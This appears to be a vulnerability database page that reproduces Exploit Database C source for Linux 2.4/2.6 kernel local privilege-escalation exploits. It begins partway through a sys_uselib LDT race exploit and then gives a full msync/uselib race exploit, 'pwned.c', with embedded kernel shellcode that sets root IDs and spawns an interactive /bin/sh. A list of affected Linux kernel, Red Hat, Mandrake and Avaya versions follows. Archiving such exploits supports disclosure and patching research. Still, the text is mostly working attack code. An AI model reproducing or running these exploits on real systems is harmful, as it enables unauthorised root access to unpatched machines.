sizeof(l)); l.entry_number = LDT_ENTRIES-1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); } // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void segvcnt(int v) { scnt++; scan_mm_finish(); } // child reap void reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // sometimes I get the VMAs in reversed order... // so just use anyone of the two but take care about the flags void check_vma_flags(); void vreversed(int v) { map_flags = 0; check_vma_flags(); } void check_vma_flags() { if(map_flags) { __asm__("movl %%esp, %0" : :"m"(old_esp) ); } else { __asm__("movl %0, %%esp" : :"m"(old_esp) ); goto out; } signal(SIGSEGV, vreversed); val = * (unsigned*)(lib_addr + PAGE_SIZE); out: } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; // printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); // helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0); // synchronize threads while(!finish) sys_sched_yield(); finish=0; if(!silent) { printf("\n"); fflush(stdout); } // try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(libname); go = 0; if(r) fatal("uselib", 0); if(finish) break; // wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(r) fatal("munmap lib", 0); if(ccnt) goto failed; if( !silent && !(pcnt%64) ) { printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]); fflush(stdout); } pcnt++; } // seems we raced, free mem r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0); // relax kswapd sys_gettimeofday(&tm1, NULL); for(;;) { sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if( wtime*1000000U <= (unsigned)delta ) break; } // we need to check the PROT_EXEC flag map_flags = PROT_EXEC; check_vma_flags(); if(!map_flags) { printf("\n VMAs reversed"); fflush(stdout); } // write protect brk's VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|map_flags); if(-1==r) { fatal("mprotect brk", 0); } // this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) { fatal("mremap: expand VMA", 0); } else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE; printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); // try to figure kernel layout signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); scan_mm_start(); failed: fatal("try again", 0); } // make fake ELF library void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd; // make our elf library umask(022); unlink(libname); fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0); memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; static struct sysinfo si; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0); // setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; if(map_base) map_addr = map_base; else map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x", old_esp, task_size, map_base); fflush(stdout); // check physical mem & prepare sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); // go go make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1); old_esp = map_base? map_base : old_esp; for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { if(!c) printf("\n"); printf("\r child %d VMAs %d", val, c); fflush(stdout); } c++; } printf("\r child %d VMAs %d", val, c); fflush(stdout); kill(getppid(), SIGUSR1); for(;;) pause(); } // empty SLAB caches void wipe_slab() { signal(SIGUSR1, chldcnt); printf("\n[+] SLAB cleanup"); fflush(stdout); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) do_wipe(); while(!ccnt) sys_sched_yield(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; } signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-f forced stop\n", n); printf("\t\t-s silent mode\n"); printf("\t\t-c command to run\n"); printf("\t\t-n SMP iterations\n"); printf("\t\t-d race delta us\n"); printf("\t\t-w wait time seconds\n"); printf("\t\t-l alternate lib name\n"); printf("\t\t-a alternate addr hex\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); if(r<0) break; switch(r) { case 'f' : fstop = 1; break; case 's' : silent = 1; break; case 'n' : smp_max = atoi(optarg); break; case 'd': if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u ) fatal("bad delta value", 0); break; case 'w' : wtime = atoi(optarg); if(wtime<0) fatal("bad wait value", 0); break; case 'l' : libname = strdup(optarg); break; case 'c' : shellname = strdup(optarg); break; case 'a' : if(1!=sscanf(optarg, "%x", &map_base)) fatal("bad addr value", 0); map_base &= ~(PGD_SIZE-1); break; case 'h' : default: usage(av[0]); break; } } // basic setup uid = getuid(); setpgrp(); wipe_slab(); prepare(); return 0; } // milw0rm.com [2005-01-07]
Exploit Database EDB-ID : 895

Publication date : 2005-03-21 23h00 +00:00
Author : sd
EDB Verified : Yes

/* * pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE. * it's not the best one, the ldt approach is definitively better. * discovered may 2004. no longer private because lorian/cliph/ihaquer * can lick my balls. * (c) 2004 sd <[email protected]> * requieres cca 1gb on fs. */ /* * first create fake vma structs. * * * let's have 3 threads, t1, t2 and t3. * t1 and t2 have common vm. * * t3: * - wait4sig (will come back from t2) * - write(fd3, bigmem, bigfile_size) * - exit() * t1: * - fd3 = empty file * - fd1 = bigfile, writing it took 16 secs * - bigmem = mmap(NULL, bigfile_size, fd1, 0); * - t3 = fork() * - t2 = clone() * - fd2 = munmap_file, size of ram. * - mumem = mmap(NULL, munmap_file_size, fd2) * - mmap(mumem, 4096, ANONYMOUS) // for extending do_brk check * - mmap lots of vmas * - close(fd2); * - create evil lib * - free lot of vmas * - sig @ t2 * - evil_lib->do_munmap(mumem + 4096, munmap_file_size - 4096); * - sem = 1 * - waitpid * t2: * - wait4sig * - sleep(100msec) * - mmap(mumem, fd3, 4096) // this is being protected by i_sem ! * - sendsig @ t3 * - sleep(100msec) * - if (sem) error * - msync(mumem, 8192) - will wait for write() to finish. munmap finishes by that * time * - if (!sem) error * - if it does return we failed, otherwise shell. * */ #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <sched.h> #include <signal.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/fcntl.h> #include <sys/mman.h> #include <sys/time.h> #include <linux/elf.h> #define __WCLONE 0x80000000 /* Wait only on non-SIGCHLD children */ #define ltime unsigned long long #define MEMSZ (70*1024*1024) #define MAGIC -123 unsigned char shellcode[] = "\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3"; static ltime gtime() { struct timeval tv; gettimeofday(&tv, NULL); return tv.tv_sec * 1000000 + tv.tv_usec; } ltime lt; static void time_start() { lt = gtime(); } static void time_end() { printf("took %lu microseconds\n", gtime() - lt); } void core_stat() { int s; char buf[512]; char incore; unsigned long last = 0; FILE *f; sprintf(buf, "/proc/%d/maps", getpid()); f = fopen(buf, "rt"); while (fgets(buf, 512, f)) { unsigned int from, to; unsigned int i; if (sscanf(buf, "%x-%x", &from, &to) < 2) break; // printf("%p!%p\n", from, to); for (i = from; i < to; i += PAGE_SIZE) { mincore((void *) i, PAGE_SIZE, &incore); if (incore) { r:; if (!last) { printf("in core 0x%08x-", i); s = last = i; continue; } if (last + PAGE_SIZE == i) { // printf("(%p)", i); last = i; continue; } printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s); last = 0; goto r; } if (!last) continue; printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s); last = 0; } } fclose(f); } #define SWAPFILE "TTswap" #define EATFILES "TTeatfiles" #define EATFILE "TTeatfile" #define SHAREFILE "TTsharefile" #define DUMMYFILE "TTdummyfile" #define EATTIME 10 #define LIBFILE "TTlib" /* number of vma struct fill */ #define VMAFILL 15000 /* how much pages to sync - 2 is enough */ #define NSYNC 2 #define BASE (char *) 0x60000000 #define DBASE (char *) 0x80001000 #define EPAGE (char *) 0x80000000 #define MAPSTEP 64 * 4096 #if 1 #define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n"); } #else #define DEBUG(x...) #endif #define sendsig(pid) kill(pid, SIGUSR1) #define wait4sig() { while (!gotsig) pause(); gotsig = 0; } #define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1)) #define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1)) #undef O_DIRECT #define O_DIRECT 0 struct libimg { Elf32_Ehdr elf; Elf32_Phdr ph; }; struct dentry_struct { unsigned dummy0, dummy1; void *inode1, *inode2; }; struct file_struct { struct file_struct *next, *prev; void *dentry; void *mnt; void *op; void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */ }; /* this should roughly cover 2.4* and 2.6* */ struct vma_struct { void *mm; unsigned long vm_start; unsigned long vm_end; struct vma_struct *vm_next; unsigned long pgprot; unsigned long vmflags; char rb[16]; void *shared_next, *shared_prev; void *vm_ops; unsigned long pgoff; void *file; void *priv; }; struct mm_struct { struct vma_struct *mmap; void *rb; struct vma_struct *cache; void *pgd1; void *pgd2; void *pgd3; /* somewhere there lies the spinlock */ unsigned long locks[32]; }; /* the image of the evil library. */ struct libimg limg = { { e_ident: "\177ELF", e_type: ET_EXEC, e_machine: EM_386, e_phoff: sizeof(Elf32_Ehdr), e_ehsize: sizeof(Elf32_Ehdr), e_phentsize: sizeof(Elf32_Phdr), e_phnum: 1 }, { p_type: PT_LOAD, p_vaddr: 0, p_memsz: 0 } }; static void make_lib(char *name) { int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700); write(libfd, &limg, sizeof(limg)); fchmod(libfd, 0700); } static char thread_stack[16384]; int fd1, fd2, fd3; char buf[MAPSTEP]; int notincore; int t4; int t3; int t2; int bigsize = 0; char *bigmem = NULL; int swapsize = 0; char *swapmem = NULL; char *base = BASE; char *vmamem; int gotsig = 0; int sem = 0; #define cleanup() _cleanup(__func__, __LINE__) void killall() { if (t2 != getpid()) kill(t2, SIGKILL); if (t3 != getpid()) kill(t3, SIGKILL); if (t4 != getpid()) kill(t4, SIGKILL); } void _cleanup(const char *name, int line) { printf("cleanup called! from %s:%d\n", name, line); killall(); unlink(SHAREFILE); unlink(SWAPFILE); unlink(EATFILES); unlink(EATFILE); unlink(LIBFILE); _exit(1); } #define FAKES_BASE 0x50000000 struct fakes { int t1; struct mm_struct mm; struct vma_struct vma; struct file_struct file; struct dentry_struct dentry; unsigned long mapping24[128]; unsigned long mapping26[128]; unsigned long inode[128]; unsigned long pgd[1024]; void *ptrs[128]; char shellcode[sizeof(shellcode)]; int t2; }; struct fakes *fakes = (void *) FAKES_BASE; /* build the fake vma which msync_interval will get * we've to emulate a lot of things! */ void build_fakevma() { int i; memset(fakes, 0, sizeof(*fakes)); fakes->vma.vm_end = (unsigned)( base + PAGE_SIZE * 2); fakes->vma.vm_start = (unsigned)(base + PAGE_SIZE); /* we need this to let the kernel enter the fs callback we control */ fakes->vma.vmflags = 0xf; fakes->vma.file = &fakes->file; fakes->vma.mm = &fakes->mm; fakes->mm.pgd1 = fakes->pgd; fakes->mm.pgd2 = fakes->pgd; fakes->mm.pgd3 = fakes->pgd; /* there are no pmd's */ memset(fakes->pgd, 0, sizeof(fakes->pgd)); /* initialize potential spinlock on smp */ for (i = 0; i < 32; i++) fakes->mm.locks[i] = 1; /* 2.4 goes thru dentry */ fakes->file.dentry = &fakes->dentry; fakes->dentry.inode1 = fakes->inode; fakes->dentry.inode2 = fakes->inode; /* this will be i_sem */ for (i = 0; i < 32; i++) fakes->inode[i] = 1; /* and this reference to i_mapping */ for (i = 32; i < 128; i++) fakes->inode[i] = (unsigned long) fakes->mapping24; /* 2.6 goes thru f_mapping */ for (i = 0; i < 64; i++) fakes->file.f_mapping[i] = fakes->mapping26; /* prepare mmappings for both 2.4 and 2.6 */ /* mapping on 2.6 requieres to have ->host defined. and backing_dev_info pointing to bunch of nonzero memory. also locked_pages list must point to itself (empty) */ fakes->mapping26[0] = (unsigned long) fakes->inode; for (i = 1; i <= 3; i++) fakes->mapping26[i] = 0; for (i = 4; i < 16; i++) fakes->mapping26[i] = (unsigned long) &fakes->mapping26[i]; for (i = 16; i <= 30; i++) fakes->mapping26[i] = (unsigned long) fakes->ptrs; /* mapping on 2.4 requieres only having mapping consisting of empty lists */ for (i = 0; i <= 30; i++) fakes->mapping24[i] = (unsigned long) &fakes->mapping24[i]; for (i = 23; i <= 30; i++) fakes->mapping24[i] = (unsigned long) fakes->ptrs; /* ok, now setup fops->f_sync to our evil fsync */ fakes->file.op = fakes->ptrs; for (i = 0; i < 128; i++) fakes->ptrs[i] = fakes->shellcode; memcpy(fakes->shellcode, shellcode, sizeof(shellcode)); } void create_fakepage(void *buf) { int i; void *vma = &fakes->vma; void **p = buf; for (i = 0; i < MAPSTEP; i += sizeof(void *)) *p++ = vma; /* !!! */ } static void sighand(int d) { gotsig = 1; } static int thread(void *d) { int t3; int ret; int i; wait4sig(); printf("(sleep1)\n"); usleep(300000); printf("(sleep1 finished)\n"); printf("trying to mmap back the evil page\n"); for (i = 0; i < VMAFILL; i++) { if (i == VMAFILL/2) ret=mmap(swapmem + PAGE_SIZE * 2, PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED, fd3, 0); mmap(vmamem + i * PAGE_SIZE, PAGE_SIZE, PROT_READ|((i&1)?(PROT_WRITE):(PROT_EXEC)), MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); } swapmem[PAGE_SIZE*2] = 'x'; printf("%p, evil mapped\n",ret); printf("(sleep2)\n"); if (sem) cleanup(); sendsig(t3); usleep(300000); printf("(sleep2 finished)\n"); if (sem) cleanup(); munmap(vmamem, VMAFILL * PAGE_SIZE); printf("doing msync\n"); printf("still doing msync\n"); ret = msync(swapmem + PAGE_SIZE * 2, PAGE_SIZE * 4, MS_SYNC); printf("finished msync, %d, errno=%d\n", ret, errno); if (ret == -1 && errno == 123) { sem = 0; killall(); printf("y4'r3 1uCky k1d!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); execl("/bin/sh", "sh", "-i", NULL); printf("execve failed %d\n", errno); } if (!sem) { printf(":(\n"); cleanup(); } _exit(0); } int main(int argc, char *argv[]) { int i, n; char *dummy = DBASE; printf("linux kernel msync race condition\nbug discovered by sd, further research by sd and *****\nthis is development-in-progress code, redistribution prohibited!\n=============================================\n"); signal(SIGUSR1, sighand); signal(SIGALRM, sighand); setbuf(stdout, NULL); i = open(SHAREFILE, O_CREAT|O_RDWR|O_TRUNC, 0777); mmap(FAKES_BASE, PAGE_ALIGN(sizeof(*fakes)), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, i,0); ftruncate(i, PAGE_ALIGN(sizeof(*fakes))); build_fakevma(); t4 = fork(); if (!t4) { while (1) { fakes->t1++; fakes->t2++; sched_yield(); } } printf("creating fakepage\n"); create_fakepage(buf); i = open(DUMMYFILE,O_CREAT|O_RDWR|O_TRUNC, 0777); ftruncate(i, MAPSTEP); write(i, buf, MAPSTEP); for (n = 0; n < MEMSZ; n += MAPSTEP) mmap(dummy + n, MAPSTEP, PROT_READ|PROT_WRITE, MAP_SHARED, i, 0); fd3 = open(EATFILE, O_CREAT|O_RDWR|O_TRUNC, 0777); ftruncate(fd3, 16384); /* create the source junkfile */ fd1 = open(EATFILES, O_CREAT|O_RDWR|O_TRUNC, 0777); alarm(EATTIME); printf("done fakepage\n"); do { int c; c = write(fd1, buf, MAPSTEP); if (c < MAPSTEP) break; bigsize += c; printf("done %d Kb\r", bigsize / 1024); } while (!gotsig); printf("\n"); alarm(0); gotsig = 0; bigmem = mmap(base - bigsize, bigsize, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED, fd1, 0); if (bigmem == MAP_FAILED) cleanup(); t3 = fork(); if (!t3) { wait4sig(); printf("starting aggresive write!\n"); write(fd3, bigmem, bigsize); printf("done aggresive write!\n"); _exit(0); } t2 = clone(thread, thread_stack + sizeof(thread_stack) - 4, 0xf00, NULL); swapmem = base; if (mmap(swapmem, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0) == MAP_FAILED) cleanup(); /* create the swap */ printf("creating swapfile\n"); fd2 = open(SWAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0777); ftruncate(fd2, MEMSZ); vmamem = swapmem + MEMSZ + 16*PAGE_SIZE; // base += VMAFILL * PAGE_SIZE; printf("vmamem = %p\n", vmamem); mmap(swapmem + PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fd2, 0); printf("swapmem = %p, swapsize = %d\n", swapmem, 2*PAGE_SIZE); // getchar(); // munmap(vmamem, VMAFILL * PAGE_SIZE); write(fd2, dummy, MEMSZ); close(fd2); printf("unlink\n"); unlink(SWAPFILE); // core_stat(); build_fakevma(); sendsig(t2); limg.ph.p_vaddr = (unsigned) swapmem + PAGE_SIZE; limg.ph.p_memsz = PAGE_SIZE * 2; make_lib(LIBFILE); printf("started uselib\n"); time_start(); uselib(LIBFILE); // munmap(swapmem + PAGE_SIZE, PAGE_SIZE); time_end(); printf("uselib finished!\n"); sem = 1; printf("pid %d\n",getpid()); // core_stat(); n = 0; n = waitpid(t2, NULL, __WCLONE); printf("waitpid got %d/%d\n", n, errno); // killall(); cleanup(); } // milw0rm.com [2005-03-22]

Products Mentioned

Configuraton 0

Avaya>>Mn100 >> Version *

Avaya>>Network_routing >> Version *

Avaya>>Converged_communications_server >> Version 2.0

Avaya>>S8710 >> Version r2.0.0

    Avaya>>S8710 >> Version r2.0.1

      Avaya>>Modular_messaging_message_storage_server >> Version 1.1

        Avaya>>Modular_messaging_message_storage_server >> Version 2.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.0

          Linux>>Linux_kernel >> Version 2.4.1

          Linux>>Linux_kernel >> Version 2.4.2

          Linux>>Linux_kernel >> Version 2.4.3

          Linux>>Linux_kernel >> Version 2.4.4

          Linux>>Linux_kernel >> Version 2.4.5

          Linux>>Linux_kernel >> Version 2.4.6

          Linux>>Linux_kernel >> Version 2.4.7

          Linux>>Linux_kernel >> Version 2.4.8

          Linux>>Linux_kernel >> Version 2.4.9

          Linux>>Linux_kernel >> Version 2.4.10

          Linux>>Linux_kernel >> Version 2.4.11

          Linux>>Linux_kernel >> Version 2.4.12

          Linux>>Linux_kernel >> Version 2.4.13

          Linux>>Linux_kernel >> Version 2.4.14

          Linux>>Linux_kernel >> Version 2.4.15

          Linux>>Linux_kernel >> Version 2.4.16

          Linux>>Linux_kernel >> Version 2.4.17

          Linux>>Linux_kernel >> Version 2.4.18

          Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.19

            Linux>>Linux_kernel >> Version 2.4.20

            Linux>>Linux_kernel >> Version 2.4.21

            Linux>>Linux_kernel >> Version 2.4.21

            Linux>>Linux_kernel >> Version 2.4.21

            Linux>>Linux_kernel >> Version 2.4.21

            Linux>>Linux_kernel >> Version 2.4.22

            Linux>>Linux_kernel >> Version 2.4.23

            Linux>>Linux_kernel >> Version 2.4.23

            Linux>>Linux_kernel >> Version 2.4.23_ow2

              Linux>>Linux_kernel >> Version 2.4.24

              Linux>>Linux_kernel >> Version 2.4.24_ow1

                Linux>>Linux_kernel >> Version 2.4.25

                Linux>>Linux_kernel >> Version 2.4.26

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.27

                Linux>>Linux_kernel >> Version 2.4.28

                Linux>>Linux_kernel >> Version 2.4.29

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.0

                Linux>>Linux_kernel >> Version 2.6.1

                Linux>>Linux_kernel >> Version 2.6.1

                Linux>>Linux_kernel >> Version 2.6.1

                Linux>>Linux_kernel >> Version 2.6.2

                Linux>>Linux_kernel >> Version 2.6.3

                Linux>>Linux_kernel >> Version 2.6.4

                Linux>>Linux_kernel >> Version 2.6.5

                Linux>>Linux_kernel >> Version 2.6.6

                Linux>>Linux_kernel >> Version 2.6.6

                Linux>>Linux_kernel >> Version 2.6.7

                Linux>>Linux_kernel >> Version 2.6.7

                Linux>>Linux_kernel >> Version 2.6.8

                Linux>>Linux_kernel >> Version 2.6.8

                Linux>>Linux_kernel >> Version 2.6.8

                Linux>>Linux_kernel >> Version 2.6.8

                Linux>>Linux_kernel >> Version 2.6.9

                  Linux>>Linux_kernel >> Version 2.6.10

                  Linux>>Linux_kernel >> Version 2.6.10

                  Linux>>Linux_kernel >> Version 2.6_test9_cvs

                    Mandrakesoft>>Mandrake_linux >> Version 9.2

                    Mandrakesoft>>Mandrake_linux >> Version 9.2

                      Mandrakesoft>>Mandrake_linux >> Version 10.0

                      Mandrakesoft>>Mandrake_linux >> Version 10.0

                        Mandrakesoft>>Mandrake_linux >> Version 10.1

                        Mandrakesoft>>Mandrake_linux >> Version 10.1

                          Mandrakesoft>>Mandrake_linux_corporate_server >> Version 2.1

                          Mandrakesoft>>Mandrake_linux_corporate_server >> Version 2.1

                            Mandrakesoft>>Mandrake_linux_corporate_server >> Version 3.0

                            Redhat>>Enterprise_linux >> Version 3.0

                              Redhat>>Enterprise_linux >> Version 3.0

                              Redhat>>Enterprise_linux >> Version 3.0

                                Redhat>>Enterprise_linux >> Version 4.0

                                  Redhat>>Enterprise_linux >> Version 4.0

                                    Redhat>>Enterprise_linux >> Version 4.0

                                      Redhat>>Enterprise_linux_desktop >> Version 3.0

                                      Redhat>>Enterprise_linux_desktop >> Version 4.0

                                      Redhat>>Fedora_core >> Version core_1.0

                                        Redhat>>Fedora_core >> Version core_2.0

                                          Redhat>>Fedora_core >> Version core_3.0

